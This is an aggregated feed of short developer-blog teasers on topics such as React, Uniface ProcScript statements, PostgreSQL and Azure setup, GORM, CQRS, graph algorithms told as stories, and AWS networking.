    Building a ride-sharing platform that can handle millions of users in real-time requires thoughtful system design, distributed computing expertise, and robust cloud infrastructure. Below is a comprehensive guide on how to architect a scalable system for ride-hailing applications like Uber or Lyft. Ride-sharing systems must: Handle millions of concurrent rider and driver requests Provide real-time geolocation updates Ensure high availability and low latency Scale seamlessly across regions Integrate with multiple external services (maps, payments, notifications) To meet these demands, the system is typically designed as a set of distributed microservices communicating asynchronously. 1. Client Applications Rider App (iOS/Android): Requests rides, tracks driver locations, receives trip and pa…  ( 7 min )
    Mock Interview Questions :
    what are the question : 1.interpreter vs compilor 2.what is oops 3.java architecture 4.inheritence 5.polymorphism 6.main method explanation 7.variable,datatype defnitions what are the data types in java 9.interface vs abstraction 10.explain "this" keyword 11.sql qouries 12.method overloading ,dynamic binding which question is new to you? comment below and share your questions ..  ( 6 min )
    What is React and Why Choose React for Front-End Development?
    In today’s fast-paced web development world, businesses need websites and applications that are ⚡ dynamic, fast, and user-friendly. Among the many front-end technologies available, React.js has emerged as a 🌟 leading JavaScript library for building modern and scalable web applications. In this blog, we’ll explain what React is, why React is so popular, and why you should choose React for front-end development. 📘 What is React.js? React makes it easy for developers to ♻️ create reusable components, 📊 manage data efficiently, and 🔄 update the UI without reloading the page. ✨ Key Features of React ⚡ Virtual DOM – Boosts performance by updating only the necessary parts of the UI. 🎨 Declarative UI – Developers describe the UI state, and React handles the rendering efficiently. 📱 Cross-Platform Support – Build web apps with React.js and mobile apps with React Native. 💡 Why Choose React for Front-End Development? 1️⃣ High Performance with Virtual DOM 2️⃣ Reusable and Modular Components 3️⃣ SEO-Friendly Front-End 4️⃣ Rich Ecosystem and Community 5️⃣ Easy to Learn for Developers 6️⃣ Scalable and Maintainable Applications 🏢 Real-World Companies Using React 📱 Facebook & Instagram – Built and maintained with React 🎬 Netflix – Smooth and dynamic streaming experience 🏠 Airbnb & 🚖 Uber – Interactive dashboards and UIs 🛒 Shopify Admin – Modular and efficient eCommerce management ✅ Conclusion: Why React Should Be Your Front-End Choice Whether you’re building a 🚀 startup site, SaaS dashboard, or enterprise platform, choosing React ensures a seamless and engaging user experience.  ( 6 min )
    Mr Sunday Movies: 4 BIG changes Four Fantastic: First Steps makes to the MCU
    Mr Sunday Movies’ latest video dives into four major ways Fantastic Four: First Steps reshapes the Marvel Cinematic Universe, laying out each plot twist and character tweak in rapid-fire style. Hosts James (mrsundaymovies) and Maso (wikipediabrown) keep it lively with their signature banter, while links to early videos, bonus podcasts, merch, Patreon and more await anyone hungry for extra geeky goodness. Watch on YouTube  ( 5 min )
    25 Security Rules That Truly Matter (Beyond Theory)
    Most security scanners overwhelm you with hundreds of warnings about theoretical vulnerabilities that rarely occur. Vibe-Guard was built to focus only on real, actionable security issues that put your applications at risk. Most scanners flag: Theoretical vulnerabilities that rarely occur in practice Dependencies your code doesn't even use Configuration warnings that do not impact your application Slow scans that kill performance By studying thousands of real-world security incidents, I distilled 25 practical rules that detect actual vulnerabilities developers frequently introduce. // ❌ Dangerous: hardcoded secrets const apiKey = "sk-1234567890abcdef1234567890abcdef"; const databaseUrl = "mongodb://user:password@localhost:27017"; // ✅ Secure: use environment variables const apiKey = pro…  ( 8 min )
    What is Alibaba Cloud Data V
    DataV-Board: Transforming Data into Impactful Stories Think of walking into a command center. The lights are low, but the screens are alive—pulsing with metrics, trends, maps, and movement. No clutter. No confusion. Just clear insight, delivered with stunning visual clarity. That’s the power of DataV-Board—Alibaba Cloud’s cutting-edge visual data dashboard solution built for decision-makers, designers, analysts, and everyone in between. What Is DataV-Board? Whether you're tracking real-time emergencies or visualizing quarterly KPIs, DataV-Board brings your data to life with intuitive design and robust rendering power. Where It Shines 🔹 Executive Dashboards – Give C-level leaders the clarity they need—project status, performance, ROI, all in one screen. 🔹 Business Insights – Keep your tea…  ( 6 min )
    🔄 Understanding the Rethrow Statement in Uniface 10.4: Exception Handling Made Simple
    Exception handling is a crucial aspect of robust software development, and Uniface 10.4 provides developers with powerful tools to manage errors effectively. Today, let's dive deep into the rethrow statement, a feature that can significantly improve your error handling strategies. 🚀 This article is based on the official Uniface Documentation 10.4 and was created with AI assistance. The rethrow statement in Uniface allows you to rethrow an exception that was caught in a catch block[1]. This powerful feature enables you to catch an exception, perform necessary cleanup or logging operations, and then pass the exception up to the caller for further handling. When you use rethrow, the system creates a copy of the original exception with the same call stack information, preserving the context o…  ( 6 min )
    CloudQuotation by Alibaba Cloud
    CloudQuotation by Alibaba Cloud: Rewriting the Rules of Market Data Now imagine having a real-time pulse on that floor—across continents, across exchanges, across asset classes. That’s exactly what CloudQuotation delivers. What Is CloudQuotation? It’s not just another market feed. It’s a cloud-native financial data infrastructure, engineered to match the pace of global finance. Why It Matters Now CloudQuotation is the bridge between this fast-evolving global opportunity and the institutions ready to harness it. Who It’s Built For 🔹 Basic Edition – Perfect for internet companies running financial info platforms. 🔹 Basic Edition PLUS – Designed for platforms handling large-scale quote updates. 🔹 Standard Edition & PLUS – Tailored for financial institutions like top banks, PE firms, asset managers, and securities firms. 🔹 Advanced Edition & PLUS – Built for brokerage-licensed institutions and global investment banks that demand high-end infrastructure. Key Capabilities 🧩 Smart Order Sharing ⚙️ Built on Alibaba Cloud Muscle High-speed data transmission Secure, encrypted pipelines Massive computing power Resilience at global scale What You Can Do with It Fuel Trading Platforms – Deliver real-time data to traders, analysts, and advisors via high-frequency feeds. Empower Research – Analysts get accurate, multi-asset, multi-region data to model, compare, and predict with precision. Support Compliance – Data encryption and end-to-end service integrity meet global regulatory standards. Accelerate Digital Transformation – Reduce your infrastructure costs, simplify operations, and focus on innovation—not plumbing. The Future of Market Data Is Cloud-Native From local fintechs to global banking giants, if you're ready to operate at the speed of global markets, CloudQuotation is your edge.  ( 6 min )
    How to Create a Secure Subnet and Network Security Group in Azure
    When managing cloud infrastructure, security and organization go hand in hand. This step-by-step guide explains exactly how I did it, using clear language for anyone getting started with Azure. Scenario A separate subnet for a new Linux SFTP server. A Network Security Group to allow only specific inbound traffic (port 22 for SFTP). The existing subnet to remain untouched for future workloads. Step 1: Create a New Subnet in an Existing vNet Log in to the Azure Portal. In the search bar, type Virtual Networks and select it. Open your vNet. In my case, it was guided-project-vnet. Under Settings, select Subnets. Click + Subnet. Set the Name to ftpSubnet. Leave other settings as default and click Add. At this point, you have a dedicated subnet ready for the SFTP server. Step 2: Create a Netwo…  ( 6 min )
    🔄 Understanding the Reset Statement in Uniface ProcScript
    Hey developers! 👋 Today I want to share some insights about the reset statement in Uniface ProcScript - a handy little command that can help you manage function values effectively. With some assistance from AI, I've put together this quick guide based on the official Uniface 10.4 documentation. The reset statement is pretty straightforward - it resets the value of a specified ProcScript function to 0 (FALSE). Think of it as a way to clear or reinitialize certain system functions when you need a fresh start. reset ProcScriptFunction For example: reset $procerror Parameter Data Type Description ProcScriptFunction Literal The ProcScript function you want to reset The $status variable will contain: <0: Reset cannot be used with the specified function 🚫 0: Function was successfully reset ✅ Good news! You can use reset in all component types except: Self-contained Reports 📄 Services 🔧 Here's a real-world scenario where reset comes in handy. Let's say you're working with form modifications: operation exec city = "New Orleans" ; this sets $formmod to 1 reset $formmod ; reset the modification indicator edit NAME end In this example: We modify the CITY field, which automatically sets $formmod to 1 🏙️ We then reset $formmod back to 0 using the reset statement 🔄 Finally, we edit the NAME field 📝 Remember that reset can only be used with functions that specifically support this feature. Always check the documentation for the particular function you're working with! The reset statement might seem simple, but it's a powerful tool for managing state in your Uniface applications. Whether you're dealing with error indicators, modification flags, or other system functions, knowing when and how to use reset can make your code cleaner and more predictable. Happy coding! 🚀 This article is based on the official Uniface 10.4 documentation.  ( 6 min )
    Spring Boot 3.5.4 Security and MongoDB Authentication Web App with Thymeleaf and Bootstrap
    Looking to secure your Java web app with Spring Boot and MongoDB? This updated guide walks you through: ✅ Spring Security 6 integration ✅ Thymeleaf-based login and registration pages ✅ Role-based access control ✅ Bootstrap for responsive UI All using Spring Boot 3.5.4! 👉 Read the full tutorial here  ( 5 min )
    React Query (TanStack) Tutorial: Fetching, Caching, and Mutations Made Easy
    Fetching and caching data in React doesn’t have to be a pain. In this tutorial, I’ll walk you through the modern way using React Query (TanStack). Learn how to: useQuery ✅ Handle background updates ✅ Create data mutations with useMutation ✅ Optimize with caching and refetching 👉 Read the full guide here  ( 5 min )
    AlgorithmO #16 — Бързо сортиране (Quicksort)
    (Първо публикувано на 20.01.2017) Днешният алгоритъм е доста интересен и всъщност доста ме плашеше преди време. 😀 Това е един от най-популярните алгоритми за сортиране и е широко използван в практиката, тъй като е подходящ за големи списъци от данни. Това е Quicksort! Погледнете обяснението за QuickSort в AlgoList — голяма част от информацията в този пост е взета от там (страхотен сайт с много добри обяснения за редица популярни алгоритми). ОПИСАНИЕ: Quicksort е алгоритъм за сортиране от тип “разделяй и владей” (разделяме задачата за сортиране на по-малки и накрая обединяваме малките решения в едно голямо). Както казахме, Quicksort е най-подходящ когато искаме да сортираме големи списъци от данни. Средната му сложност е O(n log n), а в най-лошия случай е O(n²), макар че в повечето случаи…  ( 10 min )
    Building a Sports Betting Calculator: The Math Behind Multi-Leg Arbitrage
    Building a Sports Betting Calculator: The Math Behind Multi-Leg Arbitrage A deep dive into the complex mathematics powering accumulator betting calculators and arbitrage detection algorithms Ever wondered how sports betting platforms calculate complex multi-leg accumulator odds in real-time? Or how arbitrage detection systems identify profitable opportunities across dozens of bookmakers simultaneously? As developers, we often encounter fascinating mathematical challenges hidden within seemingly simple applications. Today, we're diving into one of the most computationally interesting problems in the betting industry: accumulator betting calculations and the algorithms that power modern matched betting tools. An accumulator (or "acca") combines multiple individual bets into one, where all …  ( 9 min )
    STEP BY STEP GUIDE TO POSTGRESQL INSTALLATION AND SETUP USING A LINUX SERVER.
    INTRODUCTION Step 1:Update System Package. sudo apt update Step 2: Installing PostgreSQL. sudo apt install postgresql postgresql-contrib Step 3: Initializing the Database. Step 4:Starting the PostgreSQL Service. sudo system status postgresql sudo systemctl start postgresql Step 5: Verifying the Installation. Step 6: Accessing PostgreSQL. sudo -i -u postgres psql Step 7: Create a New User and Database CREATE USER your_username WITH PASSWORD'your_password'; CREATE DATABASE your_database_name; GRANT ALL PRIVILEGES ON DATABASE your_database_name TO your_username; Step 8: Configuring PostgreSQL to Allow Remote Connections postgresql. conf file and the pg_hba.conf file. First, open the postgresql. conf file with the command sudo nano/etc/postgresql//main/postgresql.conf, then edit the line # listen_addresses = 'localhost' to listen_addresses = '*'. This change allows PostgreSQL to listen on all IP addresses. Next, edit the pg_hba.conf file to add a line that permits connections from remote IP adressses. sudo nano/etc/postgresql //main/pg_hba.conf host all all 0.0.0.0/0 md5 These configurations allow all users from any IP address to connect to all database. Finally ,restart PostgreSQL to apply the changes by running the code: sudo systemctl restart postgresql You can now start using PostgreSQL on your Ubuntu system. You can connect to the PostgreSQL database using variety of tools like PgAdmin or DBeaver. your_username your_password) your_database_name Conclusion Following the steps above you can install and set up PostgreSQL on your linux server. You can start utilizing its powerful features for your database needs. PostgreSQL can be used by both small and large scale applications.  ( 7 min )
    Go寫Blog記錄 #1
    注意: 本文是我無聊寫的,打發時間寫的,只為了打發時間而寫,看本文只能跟我一樣打發無聊時間,學不到什麼東西。 這是我第一次在這個平台寫文章,沒想到沒有Markdown的預覽。。。(可能是我不知怎麼開吧。,。) net/http (原生Http庫) chi (router 庫, 因為我想要用原生Go的net/http來寫,所以只用了router增強的庫,不想用Gin或者Echo那種庫) go-playground/validator (DTO驗證用的) gorilla/schema (Unmarshal庫) encoding/json (原生Json處理庫) net/http/httptest (原生Http自動測試庫) logrus + lumberjack (社群Log庫) gorm (ORM 庫) SvelteKit Skeleton UI (不想寫CSS,TailwindCSS要自己寫組件,我不太有那種設計直覺,也不太會用) Lucia Auth (專為 SvelteKit 設計的認證框架,支援 session / JWT / OAuth 等) svelte-file-dropzone (支援拖放上傳) debounce (配合ElasticSearch用的,可能會用) Howler.js (音樂播放) Plyr (影片播放) Markdown編寫和預覽博文。 對博文實現增刪改查。 用戶評論功能,實現OAuth第三方登錄。 查詢博文功能(底層用ElasticSearch做Full Text Search) 博文點讚功能。 博文圖片上傳功能。(用MinIO做文件存儲) 音樂功能,對音樂文件做增刪改查。(用MinIO做文件存儲) 播放音樂功能。 影片功能,對影片文件做增刪改查。(MinIO做文件存儲) 定時發佈/草稿模式 RSS Feed 輸出 多語言支持(i18n) 標籤與分類功能(Tag & Category) 通知系統 文章閱讀數記錄 熱度排行榜(本週/本月最熱門文章) 留言回覆功能 博客前台 博客後台  ( 5 min )
    🔄 Mastering Repeat/Until Loops in Uniface: A Developer's Guide
    When working with Uniface development, one of the fundamental control structures you'll encounter is the repeat/until loop. With the help of AI, I've put together this comprehensive guide to help you understand and implement these loops effectively in your applications. 📚 The repeat/until statement in Uniface creates a loop that executes one or more ProcScript instructions repeatedly until a specified condition becomes TRUE. Unlike other loop types, this guarantees that the code block executes at least once before the condition is evaluated. repeat ... one or more ProcScript instructions ... until (Condition) Condition: A Boolean expression that must evaluate to TRUE to exit the loop Data Type Conversion: Uniface automatically converts any data types in the expression to boolean …  ( 6 min )
    Mastering Uniface remocc: A Complete Guide to Entity Occurrence Deletion 🗑️
    Hey developers! 👋 Today I want to share something useful about Uniface development that I've been working with recently. With some help from AI, I've put together this guide about the remocc statement in Uniface 10.4 - a powerful function for managing database entity occurrences. This post is based on the official Uniface documentation 10.4. The remocc statement in Uniface marks an occurrence of a specified entity for deletion at the next store operation. Think of it as marking a database record for removal - it doesn't delete immediately, but flags it for deletion when you perform a store command. remocc Entity, OccurrenceNumber remocc "CUSTOMER", 0 Entity (String): The entity where an occurrence should be removed. This can be a string, field, variable, function, or parameter that ev…  ( 6 min )
    Getting Started with JavaScript
    JavaScript is a programming language used to make the web pages interactive. It can update and change both HTML and CSS. Data Handling: In JavaScript, it refers to collect,store, process and manipulate data. JS Data types: Big int: It is used for storing big integer values in javascript [Ex:123456789012345678901234567890] In Java,data types can be divided into two groups: primitive and non-primitive. Primitive data types: Identifiers: It is the name which is given to the variables,function,arrays etc. How to declare variable in JavaScript: let name="Vidya"; In Java, the variable can be declared as: string name="Vidya"; Statically typed programming language: If a variable has to be declared, data type must be declared before defining the variables. Dynamically typed programming language: In this, no need of mentioning the type of variable when declaring it.The type is automatically decided at runtime, based on the value assigned. var: It is a keyword used to declare a variable in JS. There are two types of scopes : local scope and global scope. Local scope: In this, a variable can be accessed only inside a specific part of a code like a function. Global Scope: If a variable is declared outside any function using var, it becomes globally scoped i.e, it can be accessed from anywhere in the code. In Java, redeclaration cannot be done, but reinitialization can be done. let: It offers block scope, which means the variable exists only within the {}. let name=John; const: It is used to declare a variable whose value cannot be changed once the value is set. const i = 10; // Error Here, error will occur because a variable declared with const cannot be changed after its initial value is set.  ( 6 min )
    Beginning My LeetCode Journey with the NeetCode 150: Progress, Thoughts, and How You Can Too!
    While perusing my Masters of Computer Application in Gurugram, I’ve been preparing for coding interviews. It’s been hard but very rewarding. I wanted to get into the tech industry as a full stack web developer, so I decided to step up my study plan by following the famous NeetCode 150 questions list. This list is a carefully chosen set of questions that will help people get ready for software interviews at top tech companies. Why I Picked the NeetCode 150? NeetCode 150 is a full but easy-to-use playlist for anyone who wants to get better at data structures and algorithms. It includes the classic “Blind 75” list and 75 more handpicked questions. It covers all the important topics and groups problems into three levels: Easy, Medium, and Hard. This lets you learn strategically and gradually improve your skills. My Progress So far Learning Highlight: Knowing the ins and outs of two-pointer techniques and recursion has really changed how I solve problems. Some days are hard, especially after a long day of lectures and homework, but sticking to a schedule (my goal is 10 questions per week) keeps me going. Tracking the percent of completion helps you see how far you’ve come and keep going. Doing the code solutions by hand: Reading the NeetCode solution is helpful, but actually writing the code yourself is what really helps you understand. Concentrate on Weak Areas: Are you having trouble with a problem? Put it aside for a week and then look at it again. Stay on track: Even solving one or two problems a day adds up quickly! Don’t Compare Your Progress: Everyone’s path is different. Some days you’ll solve a lot of problems, and other days you’ll only solve one. That’s fine. Happy coding ;-)  ( 6 min )
    Tracking My First 4 Real Users — Lessons from Week 1 of Biz Tracker
    🚀 Tracking My First 4 Real Users — Lessons from Week 1 of Biz Tracker Hey devs 👋, I’m Prasoon — a 16-year-old developer from India. A few weeks ago, I launched my first real product: Biz Tracker, a browser-based stock and billing web app built for small businesses and indie founders. Since then, I've started seeing real users — not thousands, but enough to start learning. Here’s what my Umami dashboard showed in the last 24 hours: 👥 Total Visitors: 4 📈 Views: 11 🧭 Visit Duration: 3m 2s average ↩️ Bounce Rate: 25% 📱 Devices: 75% Tablet, 25% Mobile 🌍 Countries: 75% India 🇮🇳, 25% United States 🇺🇸 🔗 Referrer: vercel.com Even more interesting — users explored beyond just /stock: /map /about That’s real engagement 👀 Time spent matters more than traffic count People stayed for over 3 minutes — that tells me they’re not just clicking, they’re actually trying the tool. Low bounce = good first impression 25% bounce rate is solid. My landing flow might be working. Curiosity is validation Someone checked /map and /about. That means they were exploring — I should prioritize improving those next. Tablets dominate I designed Biz Tracker to work on mobile, but 75% used tablets. Time to fine-tune tablet experience too. Direct shares drive traffic Most traffic came from Vercel — likely users checking my shared link or deployment. Organic sharing works! Here’s what I’m building next: 🗺️ /map tab update 📈 Better dashboard visuals 🧾 Invoice builder 📤 Data export/download 💬 Feedback button You can: 🧪 Try the app: https://biz-tracker-vert.vercel.app/stock 🗣️ Send feedback (good or bad) 📤 Share with someone who runs a business, startup, or shop Thanks for reading — I’m building in public and learning every day. Follow me @JadonPraso87725 on Twitter for more updates.  ( 6 min )
    Foreign Key - A Beginner-Friendly Guide
    When you're learning about databases, one concept you'll hear often is the foreign key. At first, it might sound a bit technical, but don’t worry—I'll explain it in a simple way, with examples, so it sticks. A foreign key is a column (or a set of columns) in one table that refers to the primary key in another table. Think of it as a link or relationship between two tables in your database. ✅ It helps keep your data connected and consistent. Imagine you have two boxes: Box 1: A list of countries with unique IDs (Primary key) Box 2: A list of people, where each person belongs to a country To know which country each person is from, you store the country ID from Box 1 inside Box 2. That country ID in Box 2 is a foreign key. Let’s say we have two tables: countries table CREATE TABLE countr…  ( 6 min )
    🔄 Understanding the Uniface reload Statement: A Database Operation Guide
    Working with database operations in Uniface can sometimes feel like juggling multiple balls at once, especially when dealing with concurrent access and record locking. Today, I want to share insights about one of Uniface's essential database statements: reload. 🎯 Note: This article is based on the official Uniface Documentation 10.4, and I had assistance from AI to structure and present this information. The reload statement in Uniface is designed to reread and lock the current occurrence from the database. Think of it as a refresh button that not only updates your local copy of a record but also secures it for your exclusive use. 🔒 The basic syntax is straightforward: reload{/nolock} The optional /nolock qualifier allows you to reread the current occurrence without locking it in the da…  ( 6 min )
    New Beginning
    Today marks a fresh start in my software development journey. I've officially started a new training program at DPI! After earning my Basic Certificate in Software Development, I'm excited to keep growing, building real-world projects, and learning from a community that shares the same passion for tech. This is just the beginning, and I can't wait to see where it leads.  ( 5 min )
    🔓 Mastering Uniface's Release Statement: Unlocking Database Controls Like a Pro
    Working with database controls in Uniface can be tricky, especially when you need to manipulate data that's already been fetched from the database. The release command is a powerful tool that helps developers manage database controls effectively. With the assistance of AI, I'll walk you through everything you need to know about this essential Uniface feature. 🤖 This article is based on the official Uniface Documentation 10.4. release Command? The release command in Uniface removes database controls from fetched data, essentially treating the data as if it was just entered by the user. This is particularly useful when you want to: ✏️ Modify primary key fields 🔄 Convert existing records into new insertable records 📝 Prepare data for insertion rather than updates release{/mod} rele…  ( 6 min )
    Trello for AI Coding: When the Autopilot Needs a Manual Gearbox
    Lately, I’ve been reflecting on how we can further optimize software development with AI. And then it hit me—what if we had a workspace, like Trello, specifically designed not just for humans, but to orchestrate collaboration with AI models? https://aifa.dev will have this in its function These days, we often let AI decide how to implement a feature. It feels a little like having a Tesla on autopilot—smooth and automatic, but sometimes you just want more control. What if we gave that autopilot a “manual gearbox”? Picture this: Project Capture: The Trello-like system “swallows” your whole project—files, structure, dependencies. No more “but it works locally.” Micro Changes: Every AI request introduces the smallest possible change. Forget “build the whole component.” Instead: “Add email val…  ( 6 min )
    🔗 Mastering Uniface reconnect: Merging Disconnected Data with Live Components
    Working with disconnected data sets is a common challenge in enterprise applications. Today, let's dive deep into Uniface's reconnect command - a powerful tool for merging XML, JSON, or Struct data back with live component occurrences and database connections. 🚀 This article is based on the official Uniface Documentation 10.4 and was created with AI assistance to help developers understand this essential command better. The reconnect command resolves modification state information stored in occurrence metadata after loading data using xmlload, webload, or structToComponent statements. reconnect {/readcheck} {EntityName} /readcheck (optional): Ignores user modifications on read-only fields and restores values from database EntityName (optional): String specifying the component entity …  ( 6 min )
    I've built a LLM pre-processing toolbox and would love to hear your feedback
    Hi all, I've been working on an LLM pre-processing toolbox that helps reduce token usage (mainly for context-heavy setups like scraping, agents' context, tools return values, etc). Just launched the first version and would really appreciate feedback around how the product/experience feels like. I'm considering an open-source route to make it easier to integrate models and tools into code and existing data pipelines, with a suitable UI to manage them, view diffs, etc. Right now, it includes a compression tool implementing the leading academic approach for prompt compression. Check it out Would appreciate your feedback very much! Thanks 🙏  ( 5 min )
    Using GORM as an ORM in Go: A Quick Overview
    GORM is one of the most popular Object Relational Mappers for Go. It provides a clean, expressive API for interacting with databases, abstracting away much of the boilerplate SQL code while still allowing fine-tuned control when needed. To start using GORM, first install the library: go get -u gorm.io/gorm go get -u gorm.io/driver/sqlite # or another driver like mysql/postgres Then, set up a simple connection: import ( "gorm.io/gorm" "gorm.io/driver/sqlite" ) db, err := gorm.Open(sqlite.Open("test.db"), &gorm.Config{}) if err != nil { panic("failed to connect database") } You define your data structures as Go structs. GORM uses reflection to map these to database tables: type User struct { gorm.Model Name string Email string } Create: db.Create(&User{Name: "Alice", Email: "alice@example.com"}) Read: var user User db.First(&user, 1) // find user with ID 1 db.Where("name = ?", "Alice").First(&user) Update: db.Model(&user).Update("Email", "new@example.com") Delete: db.Delete(&user) Productivity: Less boilerplate, cleaner code. Portability: Works with multiple databases. Flexibility: Lets you drop down to raw SQL when needed. Slightly larger binary size. May not be the fastest for high-performance use cases — consider raw SQL or sqlx if needed. GORM is a great tool for building Go applications that need reliable database interaction with minimal friction. It’s especially useful for rapid development, small to medium-sized apps, and teams looking for readability over raw performance.  ( 6 min )
    Harnessing Ant Behavior: Secrets to Cutting-Edge Tech Solutions
    In the realm of technological innovation, insects emerge as unexpected yet brilliant architects, showcasing how nature's designs can inspire modern advancements. With their intricate behaviors and adaptable structures, these tiny creatures have transcended their environmental roles to become beacons of inspiration for engineers and innovators alike. From the remarkable efficiency of ant colonies to the moisture-extracting capabilities of beetles, these insect-inspired technologies are paving new pathways across various fields such as artificial intelligence, robotics, and biotechnology. By examining the stunning adaptations of insects, we see not just nature’s ingenuity, but also potential blueprints for solving contemporary challenges. As we delve into the fascinating world of biomimicry,…  ( 12 min )
    NuPack v17.2 released
    Batch push packages Find it on Visual Studio Marketplace.  ( 5 min )
    BFS Graph Traversal C++: Story
    🌊 THE BREATH OF THE CITY — A Tale of BFS Traversal "The city doesn’t speak all at once. — From “The Heart of Every Graph”, by Sora of the Gates Once, in the land of Netra, there stood a city like no other. Its walls were built not in stone, but in connections — Each corner, each plaza, each shadowed gate was a node. But something happened. One night, the city's pulse stopped. No footsteps. No laughter. No word from its distant corners. The Watchers of Netra declared: “We must awaken it. order, one breath at a time.” And thus began the Breath of the City, the ancient ritual now known as Breadth-First Search (BFS). #include #include #include using namespace std; The Watchers packed their essentials: A map: connections between places. A horn: to call neighbor…  ( 7 min )
    Redis-Powered Prayer Times App: Location-Aware Islamic Schedule
    This is a submission for the Redis AI Challenge: Beyond the Cache. I built a location-aware prayer time web app that delivers three core features: Mosque-Specific Display Each mosque has a unique URL that shows its daily prayer schedule, name, address, and date. The times are accurate based on its stored latitude and longitude. Browser-Based Location Detection When users visit the general homepage (https://redis-prayer-times.netlify.app), the app detects their location using the browser’s geolocation API, fetches their latitude and longitude, and then displays prayer times specific to their location. Nearby Mosque Finder This makes it easy for both mosque administrators and everyday users to access accurate prayer times tailored to their precise location. 🌐 Live Website: General: https://redis-prayer-times.netlify.app Mosque-Specific: Example: Masjid Istiqlal Nearby Mosques: https://redis-prayer-times.netlify.app/nearby-mosque How I Used Redis Cloud This project uses Redis Cloud beyond caching in the following ways: Each mosque's coordinates (latitude, longitude) are stored in Redis using GEOADD, with their mosque ID or name as the key. When a user's location is detected via the browser: The app executes GEOSEARCH to find the nearest mosque(s) within a certain radius (e.g., 5km or 10km). If a nearby mosque is found, the app uses its exact location to fetch the corresponding prayer times. The mosque’s name and address are also displayed to the user. Tech Stack Frontend: Vue.js + Tailwind CSS Backend: Netlify Functions (Node.js) Database: Redis Cloud Deployment: Netlify Geolocation: HTML5 Geolocation API + Redis GEO https://github.com/siswoyo-dev/redis-prayer-times ✅ This app makes prayer time tracking easy, accessible, and personalized — powered efficiently with Redis!  ( 6 min )
    🧠 Mastering CQRS & Event Sourcing: The Backbone of Scalable Systems
    “The most scalable systems separate responsibility — and memory.” Modern enterprise systems demand scalability, auditability, performance, and clarity in design. This is where CQRS and Event Sourcing shine. Let's explore what they are, the problems they solve, when to use them, and when not to. CQRS stands for Command Query Responsibility Segregation. It’s an architectural pattern that separates read and write operations into different models. Commands: Change system state (e.g., createOrder, updateUser). Queries: Return system state (e.g., getOrdersByUserId). Instead of using one data model for both, CQRS proposes distinct models — one optimized for writes (commands) and one for reads (queries). Event Sourcing is a pattern where state changes are stored as a sequence of events, not just a…  ( 7 min )
    Prims Algorithm C++: Story
    🏔️ PRIM’S REACH — The Rise of the Radiant Thread "A kingdom isn't made all at once. It grows thread by thread — — From the Journal of Aelius Prim, Keeper of the Crystal Thread In the ancient land of Verdalis, the world was fragmented, not by borders, but by fear. Each city had a flame — a glowing tower of civilization — but no roads, no paths, nothing between them. They shivered in silence. Then came Aelius Prim, a mapmaker, a builder, and a dreamer. He began with one spark. And from that spark, he sought to spread light — one gentle step at a time, always choosing the closest darkness to illuminate next. #include #include #include #include using namespace std; Prim gathered tools: A map to mark every road between cities A torch to light the star…  ( 8 min )
    Shopify Subscription Models for Growing Brands
    Subscription models are transforming e-commerce, helping Shopify brands achieve predictable revenue and loyal customers. With the global subscription market projected to hit $246.6 billion by 2025, here’s a concise guide to Shopify subscription models that drive growth, their benefits, and how to get started. Why Subscriptions Work Subscriptions offer convenience for customers and stability for merchants: Steady Revenue: Predictable income aids financial planning. Effective Subscription Models Replenishment Subscriptions Deliver consumables (e.g., coffee, pet food) on a schedule. Benefits: Convenience, predictable demand, loyalty. Curation Subscriptions Provide personalized or exclusive product boxes (e.g., beauty, snacks). Benefits: Emotional engagement, social sharing, upsell potential.…  ( 6 min )
    11 Months as a Self-Taught Developer – What Have I Learned?
    Hello everyone!🥰 There’s so much to say, you never really know what topic to post about until you place your hands on the keyboard. 11 months as a self-taught developer. • Let me start by saying it wasn’t easy. I didn’t just struggle with the programming languages themselves HTML, CSS, JS, but even my laptop wasn’t very friendly with me at the start. Everything was new. I started by writing my first lines of code in Notepad, manually typing every piece. • Now I realize how much that helped me understand the syntax, where to place curly braces, quotation marks, commas... whereas in Visual Studio, some things are added automatically. It was chaotic, the way I wrote code, the number of lines just to trigger a simple button event...🙃 • Later on, I began learning Git commands. At first, they …  ( 9 min )
    AWS Security 101
    About the Project 🤔 Why I Built This 🛠️ How I Built This 📘 What is AWS Security 101? ✨ Key Features 🧰 Tech Stack 🔄 Workflow Overview 📦 Project Repository https://github.com/Arishsingh/AWS-Security-101.git  ( 6 min )
    How does the project control process help manage risks?
    Understanding the Relationship Between Control and Risk Risk management and project control are deeply intertwined. While risk management identifies and analyzes potential threats to a project, the control process provides the framework to track, respond to, and mitigate those risks in real-time. It acts as the operational layer that ensures the strategies defined in the risk management plan are being applied consistently and effectively throughout the project lifecycle. The project control process facilitates early detection of risks through constant monitoring of project performance indicators. By comparing actual progress with planned values, control mechanisms can identify trends that signal the emergence of potential risks. For instance, if a specific task is consistently delayed, i…  ( 6 min )
    AWS Cloud Path Week 15: AWS Networking Workshop Part 5 - Hybrid DNS with Route 53 Resolver, Network Monitoring and VPC Flow Logs
    Missed the session? Catch up here: Welcome to Week 15 of the AWS Cloud Path series! In this comprehensive workshop, we dive deep into AWS network monitoring capabilities, focusing on Route 53 Resolver for hybrid DNS, CloudWatch monitoring, and VPC Flow Logs. This session builds upon the foundational AWS networking workshop available at https://networking.workshop.aws/. Before starting this workshop, ensure you have: AWS account with appropriate permissions Basic understanding of VPC and networking concepts Familiarity with CloudFormation templates Access to AWS CLI or AWS Console DNS resolution is fundamental to any internet-connected infrastructure. When working with hybrid cloud environments, you need seamless DNS resolution between your on-premises infrastructure and AWS environment…  ( 11 min )
    Kruskal Algorithm C++: Story
    🏰 KRUSKAL: The Last Roadmaker — A Tale of Steel and Shadows “A kingdom is not built by kings alone, but by the silent architects who connect every soul.” From the Scroll of Edges, hidden deep beneath the Spine of the World Long ago, the world was not one kingdom but a scattering of hundreds. Every village, every mountain fortress, every lakeside manor — stood alone, afraid, proud, disconnected. The gods of chaos danced in the space between them. No road dared bridge two lands, for the forests were cursed and the rivers whispered death. Yet hope stirred. Because roads… roads connect hearts. And thus entered the man who would not seek a throne — but a network. His name was Kruskal, the Last Roadmaker. #include #include #include using namespace std; Before…  ( 8 min )
    A basic checklist for smoother WordPress setups
